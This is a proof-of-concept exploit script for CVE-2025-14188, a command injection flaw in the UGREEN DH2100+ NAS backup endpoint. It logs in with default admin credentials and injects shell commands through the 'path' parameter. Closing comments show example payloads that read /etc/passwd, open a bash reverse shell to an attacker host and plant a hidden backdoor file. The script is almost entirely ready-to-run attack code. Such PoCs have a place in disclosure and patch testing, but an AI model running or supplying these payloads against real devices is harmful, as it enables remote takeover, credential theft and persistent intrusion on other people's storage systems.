CVE-2025-14188: UGREEN DH2100+ NAS设备命令注入漏洞

# CVE-2025-14188 PoC - UGREEN DH2100+ Command Injection # Target: UGREEN DH2100+ NAS (firmware <= 5.3.0.251125) # Endpoint: POST /v1/file/backup/create # Parameter: path (vulnerable to command injection) import requests import sys TARGET = "http://target-ugreen-nas.local" USERNAME = "admin" PASSWORD = "admin" def exploit(target, cmd): """Execute command injection via backup create endpoint""" session = requests.Session() # Login to obtain session login_data = {"username": USERNAME, "password": PASSWORD} session.post(f"{target}/api/v1/user/login", json=login_data) # Malicious payload with command injection # Using semicolon to chain commands payload = f";{cmd};" exploit_data = { "path": payload, "backup_type": "full" } response = session.post( f"{target}/v1/file/backup/create", json=exploit_data ) return response.text if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-14188.py <target> <command>") print("Example: python cve-2025-14188.py http://192.168.1.100 'id'") sys.exit(1) target = sys.argv[1] command = sys.argv[2] result = exploit(target, command) print(f"Response: {result}") # Example exploitation: # 1. Read passwd file: python cve-2025-14188.py http://target ';cat /etc/passwd;' # 2. Reverse shell: python cve-2025-14188.py http://target ';bash -i >& /dev/tcp/attacker/port 0>&1;' # 3. Create backdoor: python cve-2025-14188.py http://target ';echo "backdoor" > /tmp/.hidden;'